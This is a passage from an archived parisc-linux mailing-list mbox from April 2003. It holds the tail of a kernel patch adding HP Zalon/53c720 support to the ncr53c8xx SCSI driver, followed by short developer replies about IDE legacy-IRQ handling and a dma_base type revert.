 	printk(KERN_INFO "ncr53c%s-%d: rev 0x%x on pci bus %d device %d function
%d "
 #ifdef __sparc__
 		"irq %s\n",
@@ -3557,6 +3675,7 @@
 #else
 		device->slot.irq);
 #endif
+#endif
 
 	/*
 	**	Allocate host_data structure
@@ -3645,7 +3764,6 @@
 	**	Now the INB INW INL OUTB OUTW OUTL macros
 	**	can be used safely.
 	*/
-
 	np->reg = (struct ncr_reg*) np->vaddr;
 
 #endif /* !defined SCSI_NCR_IOMAPPED */
@@ -3654,7 +3772,9 @@
 	**	Try to map the controller chip into iospace.
 	*/
 
+#ifndef ENABLE_SCSI_ZALON
 	request_region(device->slot.io_port, 128, "ncr53c8xx");
+#endif
 	np->base_io = device->slot.io_port;
 
 #ifdef SCSI_NCR_NVRAM_SUPPORT
@@ -3768,9 +3888,7 @@
 	**	Reset chip.
 	*/
 
-	OUTB (nc_istat,  SRST);
-	UDELAY (100);
-	OUTB (nc_istat,  0   );
+	ncr_chip_reset(np, 100);
 
 	/*
 	**	Now check the cache handling of the pci chipset.
@@ -3887,7 +4005,9 @@
 #ifdef DEBUG_NCR53C8XX
 		printk(KERN_DEBUG "%s: releasing IO region %x[%d]\n", ncr_name(np), np->base_io,
128);
 #endif
+#ifndef ENABLE_SCSI_ZALON
 		release_region(np->base_io, 128);
+#endif
 	}
 	if (np->irq) {
 #ifdef DEBUG_NCR53C8XX
@@ -3912,7 +4032,7 @@
 	scsi_unregister(instance);
 
         return -1;
- }
+}
 
 
 /*==========================================================
@@ -4699,9 +4819,7 @@
 			"command processing suspended for %d seconds\n",
 			ncr_name(np), settle_delay);
 
-	OUTB (nc_istat, SRST);
-	UDELAY (100);
-	OUTB (nc_istat, 0);
+	ncr_chip_reset(np, 100);
 	UDELAY (2000);	/* The 895 needs time for the bus mode to settle */
 	if (enab_int)
 		OUTW (nc_sien, RST);
@@ -4710,7 +4828,8 @@
 	**	properly set IRQ mode, prior to resetting the bus.
 	*/
 	OUTB (nc_stest3, TE);
-	OUTB (nc_dcntl, (np->rv_dcntl & IRQM));
+	if (np->device_id != PSEUDO_ZALON_720_ID)
+		OUTB (nc_dcntl, (np->rv_dcntl & IRQM));
 	OUTB (nc_scntl1, CRST);
 	UDELAY (200);
 
@@ -4917,6 +5036,10 @@
 	lcb_p lp;
 	int target, lun;
 	int i;
+	char inst_name[16];
+
+	/* Local copy so we don't access np after freeing it! */
+	strncpy(inst_name, ncr_name(np), 16);
 
 	printk("%s: releasing host resources\n", ncr_name(np));
 
@@ -4963,12 +5086,11 @@
 	*/
 
 	printk("%s: resetting chip\n", ncr_name(np));
-	OUTB (nc_istat,  SRST);
-	UDELAY (100);
-	OUTB (nc_istat,  0   );
+	ncr_chip_reset(np, 100);
 
 	OUTB(nc_dmode,	np->sv_dmode);
 	OUTB(nc_dcntl,	np->sv_dcntl);
+	OUTB(nc_ctest0,	np->sv_ctest0);
 	OUTB(nc_ctest3,	np->sv_ctest3);
 	OUTB(nc_ctest4,	np->sv_ctest4);
 	OUTB(nc_ctest5,	np->sv_ctest5);
@@ -4991,7 +5113,9 @@
 #ifdef DEBUG_NCR53C8XX
 	printk("%s: releasing IO region %x[%d]\n", ncr_name(np), np->base_io, 128);
 #endif
+#ifndef ENABLE_SCSI_ZALON
 	release_region(np->base_io, 128);
+#endif
 
 	/*
 	**	Free allocated ccb(s)
@@ -5036,7 +5160,7 @@
 		m_free_dma(np->ccb, sizeof(struct ccb), "CCB");
 	m_free_dma(np, sizeof(struct ncb), "NCB");
 
-	printk("%s: host resources successfully released\n", ncr_name(np));
+	printk("%s: host resources successfully released\n", inst_name);
 
 	return 1;
 }
@@ -5061,7 +5185,6 @@
 	/*
 	**	Sanity check
 	*/
-
 	if (!cp || cp->magic != CCB_MAGIC || !cp->cmd)
 		return;
 
@@ -5428,6 +5551,28 @@
 	}
 }
 
+/*
+** Reset ncr chip.
+*/
+
+/* Some initialisation must be done immediately following reset, for 53c720,
+ * at least.  EA (dcntl bit 5) isn't set here as it is set once only in
+ * the _detect function.
+ */
+
+static void ncr_chip_reset(ncb_p np, int delay)
+{
+	OUTB (nc_istat,  SRST);
+	UDELAY (delay);
+	OUTB (nc_istat,  0   );
+
+	if (np->features & FE_EHP)
+		OUTB (nc_ctest0, EHP);
+	if (np->features & FE_MUX)
+		OUTB (nc_ctest4, MUX);
+}
+
+
 /*==========================================================
 **
 **
@@ -5473,7 +5618,7 @@
 	*/
 	np->squeueput = 0;
 	np->script0->startpos[0] = cpu_to_scr(NCB_SCRIPTH_PHYS (np, tryloop));
-
+#ifdef SCSI_NCR_CCB_DONE_SUPPORT
 	/*
 	**	Clear Done Queue
 	*/
@@ -5490,7 +5635,7 @@
 	np->ccb_done_ic = MAX_DONE-1;
 	np->scripth0->done_queue[5*(MAX_DONE-1) + 4] =
 			cpu_to_scr(NCB_SCRIPT_PHYS (np, done_plug));
-
+#endif
 	/*
 	**	Wakeup all pending jobs.
 	*/
@@ -5500,8 +5645,10 @@
 	**	Init chip.
 	*/
 
-	OUTB (nc_istat,  0x00   );	/*  Remove Reset, abort */
-	UDELAY (2000);	/* The 895 needs time for the bus mode to settle */
+	/* Remove reset; big delay because the 895 needs time for the
+	 * bus mode to settle
+	 */
+	ncr_chip_reset(np, 2000);
 
 	OUTB (nc_scntl0, np->rv_scntl0 | 0xc0);
 					/*  full arb., ena parity, par->ATN  */
@@ -5516,6 +5663,7 @@
 	OUTB (nc_ctest5, np->rv_ctest5);	/* Large fifo + large burst */
 
 	OUTB (nc_dcntl , NOCOM|np->rv_dcntl);	/* Protect SFBR */
+	OUTB (nc_ctest0, np->rv_ctest0);	/* 720: CDIS and EHP */
 	OUTB (nc_ctest3, np->rv_ctest3);	/* Write and invalidate */
 	OUTB (nc_ctest4, np->rv_ctest4);	/* Master parity checking */
 
@@ -7100,6 +7248,18 @@
 	if (DEBUG_FLAGS & DEBUG_TINY) printk ("I#%d", num);
 
 	switch (num) {
+	case SIR_INTFLY:
+		/*
+		**	This is used for HP Zalon/53c720 where INTFLY
+		**	operation is currently broken.
+		*/
+		ncr_wakeup_done(np);
+#ifdef SCSI_NCR_CCB_DONE_SUPPORT
+		OUTL(nc_dsp, NCB_SCRIPT_PHYS (np, done_end) + 8);
+#else
+		OUTL(nc_dsp, NCB_SCRIPT_PHYS (np, start));
+#endif
+		return;
 	case SIR_RESEL_NO_MSG_IN:
 	case SIR_RESEL_NO_IDENTIFY:
 		/*
@@ -7846,7 +8006,11 @@
 	*/
 	tp->getscr[0] =	cpu_to_scr(copy_1);
 	tp->getscr[1] = cpu_to_scr(vtobus (&tp->sval));
+#ifdef SCSI_NCR_BIG_ENDIAN
+	tp->getscr[2] = cpu_to_scr(ncr_reg_bus_addr(nc_sxfer) ^ 3);
+#else
 	tp->getscr[2] = cpu_to_scr(ncr_reg_bus_addr(nc_sxfer));
+#endif
   
 	/*
 	**	Load the timing register.
@@ -7854,7 +8018,11 @@
 	*/
 	tp->getscr[3] =	cpu_to_scr(copy_1);
 	tp->getscr[4] = cpu_to_scr(vtobus (&tp->wval));
+#ifdef SCSI_NCR_BIG_ENDIAN
+	tp->getscr[5] = cpu_to_scr(ncr_reg_bus_addr(nc_scntl3) ^ 3);
+#else
 	tp->getscr[5] = cpu_to_scr(ncr_reg_bus_addr(nc_scntl3));
+#endif
 
 	/*
 	**	Get the IDENTIFY message and the lun.
@@ -7883,10 +8051,17 @@
 	/*
 	**	These assert's should be moved at driver initialisations.
 	*/
+#ifdef SCSI_NCR_BIG_ENDIAN
+	assert (( (offsetof(struct ncr_reg, nc_sxfer) ^
+		offsetof(struct tcb    , sval    )) &3) == 3);
+	assert (( (offsetof(struct ncr_reg, nc_scntl3) ^
+		offsetof(struct tcb    , wval    )) &3) == 3);
+#else
 	assert (( (offsetof(struct ncr_reg, nc_sxfer) ^
 		offsetof(struct tcb    , sval    )) &3) == 0);
 	assert (( (offsetof(struct ncr_reg, nc_scntl3) ^
 		offsetof(struct tcb    , wval    )) &3) == 0);
+#endif
 }
 
 
@@ -8230,9 +8405,7 @@
 	/*
 	**	Reset ncr chip
 	*/
-	OUTB (nc_istat,  SRST);
-	UDELAY (100);
-	OUTB (nc_istat,  0   );
+	ncr_chip_reset(np, 100);
 	/*
 	**	check for timeout
 	*/
@@ -8459,7 +8632,7 @@
 	if (np->multiplier != mult || (scntl3 & 7) < 3 || !(scntl3 & 1)) {
 		unsigned f2;
 
-		OUTB(nc_istat, SRST); UDELAY (5); OUTB(nc_istat, 0);
+		ncr_chip_reset(np, 5);
 
 		(void) ncrgetfreq (np, 11);	/* throw away first result */
 		f1 = ncrgetfreq (np, 11);
@@ -9210,6 +9383,7 @@
 */
 
 static u_short	ncr_chip_ids[]   __initdata = {
+	PSEUDO_ZALON_720_ID,
 	PCI_DEVICE_ID_NCR_53C810,
 	PCI_DEVICE_ID_NCR_53C815,
 	PCI_DEVICE_ID_NCR_53C820,
@@ -9224,6 +9398,89 @@
 	PCI_DEVICE_ID_NCR_53C1510D
 };
 
+#ifdef ENABLE_SCSI_ZALON
+/*
+**	Attach a 53c720 interfaced via Zalon chip on HP boxes.  
+*/
+
+int
+zalon_attach(Scsi_Host_Template *tpnt, unsigned long io_port, 
+	     struct parisc_device *dev, int irq, int unit)
+{
+	u_short device_id;
+	u_char revision;
+	int i;
+	ncr_chip *chip;
+	ncr_device device;
+
+	tpnt->proc_name = NAME53C8XX;
+	tpnt->proc_info = ncr53c8xx_proc_info;
+
+#if	defined(SCSI_NCR_BOOT_COMMAND_LINE_SUPPORT) && defined(MODULE)
+	if (ncr53c8xx)
+		ncr53c8xx_setup(ncr53c8xx);
+#endif
+
+#ifdef SCSI_NCR_DEBUG_INFO_SUPPORT
+	ncr_debug = driver_setup.debug;
+#endif
+	if (initverbose >= 2)
+		ncr_print_driver_setup();
+
+	memset(&device, 0, sizeof(ncr_device));
+	chip = 0;
+	device_id = PSEUDO_ZALON_720_ID;
+	revision = 0;
+	for (i = 0; i < sizeof(ncr_chip_table)/sizeof(ncr_chip_table[0]); i++)
{
+		if (device_id != ncr_chip_table[i].device_id)
+			continue;
+		chip = &device.chip;
+		memcpy(chip, &ncr_chip_table[i], sizeof(*chip));
+		chip->revision_id = revision;
+		break;
+	}
+
+	if (!chip) {
+		printk(NAME53C8XX ": not initializing, device not supported\n");
+		return -1;
+	}
+
+	/*
+	**    Fix some features according to driver setup.
+	*/
+
+	driver_setup.diff_support = 2;
+
+	/*
+	**    The following three are needed before any other access.
+	*/
+
+	writeb(0x20, io_port + 0x38); /* DCNTL_REG,  EA  */
+	writeb(0x04, io_port + 0x1b); /* CTEST0_REG, EHP */
+	writeb(0x80, io_port + 0x22); /* CTEST4_REG, MUX */
+
+ 	/*
+	**    Initialise ncr_device structure with items required by ncr_attach.
+	*/
+	device.host_id		= driver_setup.host_id;
+	device.pdev		= ccio_get_fake(dev);
+	device.slot.bus		= 0;
+	device.slot.device_fn	= 0;
+	device.slot.base	= (u_long)io_port;
+	device.slot.base_c	= (u_long)io_port;
+	device.slot.base_2	= 0;
+	device.slot.base_2_c	= 0;
+	device.slot.io_port	= io_port;
+	device.slot.irq		= irq;
+	device.attach_done	= 0;
+
+	printk(KERN_INFO NAME53C8XX ": 53c%s detected\n", device.chip.name);
+
+	return ncr_attach(tpnt, unit, &device);
+}
+#endif
+
+
 /*==========================================================
 **
 **	Chip detection entry point.
@@ -9273,6 +9530,10 @@
 static
 #endif
 #if LINUX_VERSION_CODE >= LinuxVersionCode(2,4,0) || defined(MODULE)
+#ifdef ENABLE_SCSI_ZALON
+Scsi_Host_Template driver_template = SCSI_ZALON;
+#else
 Scsi_Host_Template driver_template = NCR53C8XX;
+#endif
 #include "scsi_module.c"
 #endif
diff -NaurX dontdiff linux-2.4.21-pre7/drivers/scsi/Config.in linux-2.4.21-pre7-pa3x/drivers/scsi/Config.in
--- linux-2.4.21-pre7/drivers/scsi/Config.in	2003-03-27 19:43:50.000000000
+0100
+++ linux-2.4.21-pre7-pa3x/drivers/scsi/Config.in	2003-04-11 11:18:42.000000000
+0200
@@ -145,27 +145,46 @@
       bool '  use normal IO' CONFIG_SCSI_SYM53C8XX_IOMAPPED
    fi
 fi
+define_bool CONFIG_ASK_ZALON n
+define_bool CONFIG_ASK_NCR53C8XX n
+define_bool CONFIG_ASK_SYM53C8XX n
+if [ "$CONFIG_PARISC" = "y" ]; then
+   dep_tristate 'Zalon SCSI support' CONFIG_SCSI_ZALON $CONFIG_GSC $CONFIG_SCSI
+   if [ "$CONFIG_SCSI_ZALON" != "n" ]; then
+      define_bool CONFIG_ASK_ZALON y
+   fi
+else
+  if [ "$CONFIG_PCI" = "y" -a "$CONFIG_SCSI_SYM53C8XX_2" != "y" ]; then
+     dep_tristate 'NCR53C8XX SCSI support' CONFIG_SCSI_NCR53C8XX $CONFIG_SCSI
+     if [ "$CONFIG_SCSI_NCR53C8XX" != "n" ]; then
+        define_bool CONFIG_ASK_NCR53C8XX y
+     fi
+  fi
+fi
 if [ "$CONFIG_PCI" = "y" -a "$CONFIG_SCSI_SYM53C8XX_2" != "y" ]; then
-   dep_tristate 'NCR53C8XX SCSI support' CONFIG_SCSI_NCR53C8XX $CONFIG_SCSI
    dep_tristate 'SYM53C8XX SCSI support' CONFIG_SCSI_SYM53C8XX $CONFIG_SCSI
-   if [ "$CONFIG_PARISC" = "y" ]; then
-      dep_tristate 'Zalon SCSI support' CONFIG_SCSI_ZALON $CONFIG_GSC $CONFIG_SCSI
+   if [ "$CONFIG_SCSI_SYM53C8XX" != "n" ]; then
+      define_bool CONFIG_ASK_SYM53C8XX y
    fi
-   if [ "$CONFIG_SCSI_NCR53C8XX" != "n" -o "$CONFIG_SCSI_ZALON" = "y" -o
"$CONFIG_SCSI_ZALON" = "m" -o "$CONFIG_SCSI_SYM53C8XX" != "n" ]; then
-      int  '  default tagged command queue depth' CONFIG_SCSI_NCR53C8XX_DEFAULT_TAGS
8
-      int  '  maximum number of queued commands' CONFIG_SCSI_NCR53C8XX_MAX_TAGS
32
-      int  '  synchronous transfers frequency in MHz' CONFIG_SCSI_NCR53C8XX_SYNC
20
-      bool '  enable profiling' CONFIG_SCSI_NCR53C8XX_PROFILE
+fi
+if [ "$CONFIG_ASK_ZALON" = "y" -o "$CONFIG_ASK_NCR53C8XX" = "y" -o "$CONFIG_ASK_SYM53C8XX"
= "y" ]; then
+   int  '  default tagged command queue depth' CONFIG_SCSI_NCR53C8XX_DEFAULT_TAGS
8
+   int  '  maximum number of queued commands' CONFIG_SCSI_NCR53C8XX_MAX_TAGS
32
+   int  '  synchronous transfers frequency in MHz' CONFIG_SCSI_NCR53C8XX_SYNC
20
+   bool '  enable profiling' CONFIG_SCSI_NCR53C8XX_PROFILE
+   if [ "$CONFIG_ASK_ZALON" = "y" ]; then
+      define_bool CONFIG_SCSI_NCR53C8XX_IOMAPPED n
+   else
       bool '  use normal IO' CONFIG_SCSI_NCR53C8XX_IOMAPPED
-      if [ "$CONFIG_SCSI_SYM53C8XX" != "n" ]; then
-	 bool '  include support for the NCR PQS/PDS SCSI card' CONFIG_SCSI_NCR53C8XX_PQS_PDS
-      fi
-      if [ "$CONFIG_SCSI_NCR53C8XX_DEFAULT_TAGS" = "0" ]; then
-	 bool '  not allow targets to disconnect' CONFIG_SCSI_NCR53C8XX_NO_DISCONNECT
-      fi
-      if [ "$CONFIG_EXPERIMENTAL" = "y" ]; then
-	 bool '  assume boards are SYMBIOS compatible (EXPERIMENTAL)' CONFIG_SCSI_NCR53C8XX_SYMBIOS_COMPAT
-      fi
+   fi
+   if [ "$CONFIG_ASK_SYM53C8XX" = "y" ]; then
+      bool '  include support for the NCR PQS/PDS SCSI card' CONFIG_SCSI_NCR53C8XX_PQS_PDS
+   fi
+   if [ "$CONFIG_SCSI_NCR53C8XX_DEFAULT_TAGS" = "0" ]; then
+      bool '  not allow targets to disconnect' CONFIG_SCSI_NCR53C8XX_NO_DISCONNECT
+   fi
+   if [ "$CONFIG_EXPERIMENTAL" = "y" ]; then
+      bool '  assume boards are SYMBIOS compatible (EXPERIMENTAL)' CONFIG_SCSI_NCR53C8XX_SYMBIOS_COMPAT
    fi
 fi
 if [ "$CONFIG_MCA" = "y" ]; then


---------------------------------
Vous surfez avec une ligne classique ?
Economisez jusqu' 25% avec Tiscali Complete !
Offre spciale : premire anne d'abonnement offerte.
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:27:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] parisc-linux.org kernel
Date: Mon, 14 Apr 2003 15:53:14 +0200
Lines: 51
Approved: news@gmane.org
Message-ID: <3E8AE87E00006D87@ocpmta2.freegates.net>
References: <1050320386.25353.11.camel@dhcp22.swansea.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622383 24652 80.91.229.3 (22 Nov 2014 02:13:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:03 +0000 (UTC)
Cc: "Grant Grundler" <grundler@parisc-linux.org>,
	parisc-linux@lists.parisc-linux.org
To: "Alan Cox" <alan@lxorguk.ukuu.org.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr 14 07:53:16 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 73D5E4829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 14 Apr 2003 07:53:16 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 1954OY-0006fG-00; Mon, 14 Apr 2003 15:53:14 +0200
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Mon, 14 Apr 2003 15:53:14 +0200
In-Reply-To: <1050320386.25353.11.camel@dhcp22.swansea.linux.org.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18245

>
>On Llu, 2003-04-14 at 13:13, Joel Soete wrote:
>> +#if defined(__hppa__) && defined(CONFIG_SUPERIO)
>> +#include <asm/superio.h>
>> +#endif
>> +
>
>Please keep superio out of generic drivers
>
>
>>  	if (!using_inta)
>> +#if defined(__hppa__) && defined(CONFIG_SUPERIO)
>> +		hwif->irq = superio_get_ide_irq();	/* legacy mode */
>> +#else
>>  		hwif->irq = hwif->channel ? 15 : 14;	/* legacy mode */
>> +#endif
>>  	else if (!hwif->irq && hwif->mate && hwif->mate->irq)
>>  		hwif->irq = hwif->mate->irq;	/* share IRQ with mate */
>
>Ughh. Ok this needs tackling in a more general way. get_legacy_irq(0/1)
>perhaps. This isnt the only port we need to sort out.
>
>Ok suppose you added superio.h to include/asm-parisc/ide.h and added
>ide_get_legacy(int n) [n=0/1] for interfaces. I can do the same for the
>other ports (return 14+n) and it will stay clean in 2.4 and 2.5
>

> 
>>  	     (dev->class & 0x80))) {
>> -		unsigned long dma_base = ide_get_or_set_dma_base(hwif);
>> +		u32 dma_base = ide_get_or_set_dma_base(hwif);
>
>Thats reverting a fix. dma_base must be unsigned long for 64bit
>platforms. Looks just like a merge error.

Sorry note a merge error but well a revert because I encounter a problem
in a previous merge. I have to review,

Thanks for advises,
    Joel



---------------------------------
Vous surfez avec une ligne classique ?
Economisez jusqu' 25% avec Tiscali Complete !
Offre spciale : premire anne d'abonnement offerte.
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:27:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael Wood <mwood@its.uct.ac.za>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] parisc-linux.org kernel
Date: Mon, 14 Apr 2003 16:18:46 +0200
Lines: 12
Approved: news@gmane.org
Message-ID: <20030414141846.GA24700@marmite.its.uct.ac.za>
References: <20030411155850.GA2795@dsl2.external.hp.com> <3E8AE87E00006C1C@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622383 24654 80.91.229.3 (22 Nov 2014 02:13:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:03 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <jsoe0708@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr 14 08:18:57 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.uct.ac.za (mail.uct.ac.za [137.158.128.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id C066C4867
	for <parisc-linux@lists.parisc-linux.org>; Mon, 14 Apr 2003 08:18:56 -0600 (MDT)
Original-Received: from marmite.its.uct.ac.za ([137.158.26.155])
	by mail.uct.ac.za with esmtp (Exim 3.35 #1)
	id 1954nJ-00077y-00; Mon, 14 Apr 2003 16:18:49 +0200
Original-Received: by marmite.its.uct.ac.za (Postfix, from userid 1000)
	id 79BD71A32F; Mon, 14 Apr 2003 16:18:46 +0200 (SAST)
Mail-Followup-To: Michael Wood <mwood@its.uct.ac.za>,
	Joel Soete <jsoe0708@tiscali.be>, parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <3E8AE87E00006C1C@ocpmta2.freegates.net>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18246

On Mon, Apr 14, 2003 at 12:13:24PM +0000, Joel Soete wrote:
> To: "Grant Grundler" <grundler@parisc-linux.org>
> Cc: parisc-linux@lists.parisc-linux.org   

> Hi Andre,
[snip]

Maybe you should add him to the To: or Cc: fields? :)

-- 
Michael Wood <mwood@its.uct.ac.za>


From - Thu Nov 08 21:27:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] parisc-linux.org kernel
Date: Mon, 14 Apr 2003 17:42:32 +0200
Lines: 23
Approved: news@gmane.org
Message-ID: <3E8AE87E00006EB8@ocpmta2.freegates.net>
References: <3E8AE87E00006D87@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622383 24657 80.91.229.3 (22 Nov 2014 02:13:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:03 +0000 (UTC)
Cc: "Grant Grundler" <grundler@parisc-linux.org>,
	parisc-linux@lists.parisc-linux.org
To: "Alan Cox" <alan@lxorguk.ukuu.org.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr 14 09:42:35 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id BF07E4829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 14 Apr 2003 09:42:35 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 19566L-0001ib-00; Mon, 14 Apr 2003 17:42:33 +0200
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Mon, 14 Apr 2003 17:42:32 +0200
In-Reply-To: <3E8AE87E00006D87@ocpmta2.freegates.net>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18247

>>>  	     (dev->class & 0x80))) {
>>> -		unsigned long dma_base = ide_get_or_set_dma_base(hwif);
>>> +		u32 dma_base = ide_get_or_set_dma_base(hwif);
>>
>>Thats reverting a fix. dma_base must be unsigned long for 64bit
>>platforms. Looks just like a merge error.
>
hmm I just re-compile with "unsigned long dma_base" and it works (I mount
a cd on the ide cdrom drive and launch a find of file without any system
crash :) )

Thanks again,
    Joel


---------------------------------
Vous surfez avec une ligne classique ?
Economisez jusqu' 25% avec Tiscali Complete !
Offre spciale : premire anne d'abonnement offerte.
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:27:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] installation problems on RDI Precisionbook
Date: Mon, 14 Apr 2003 18:30:41 +0100 (IST)
Lines: 25
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0304141801320.14551-100000@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622383 24659 80.91.229.3 (22 Nov 2014 02:13:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:03 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr 14 11:30:45 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id 742D64829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 14 Apr 2003 11:30:44 -0600 (MDT)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.11.3/8.11.3/SuSE Linux 8.11.1-0.5) with ESMTP id h3EHUg603874
	for <parisc-linux@lists.parisc-linux.org>; Mon, 14 Apr 2003 18:30:42 +0100
X-X-Sender: xam@sal.ucc.ie
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
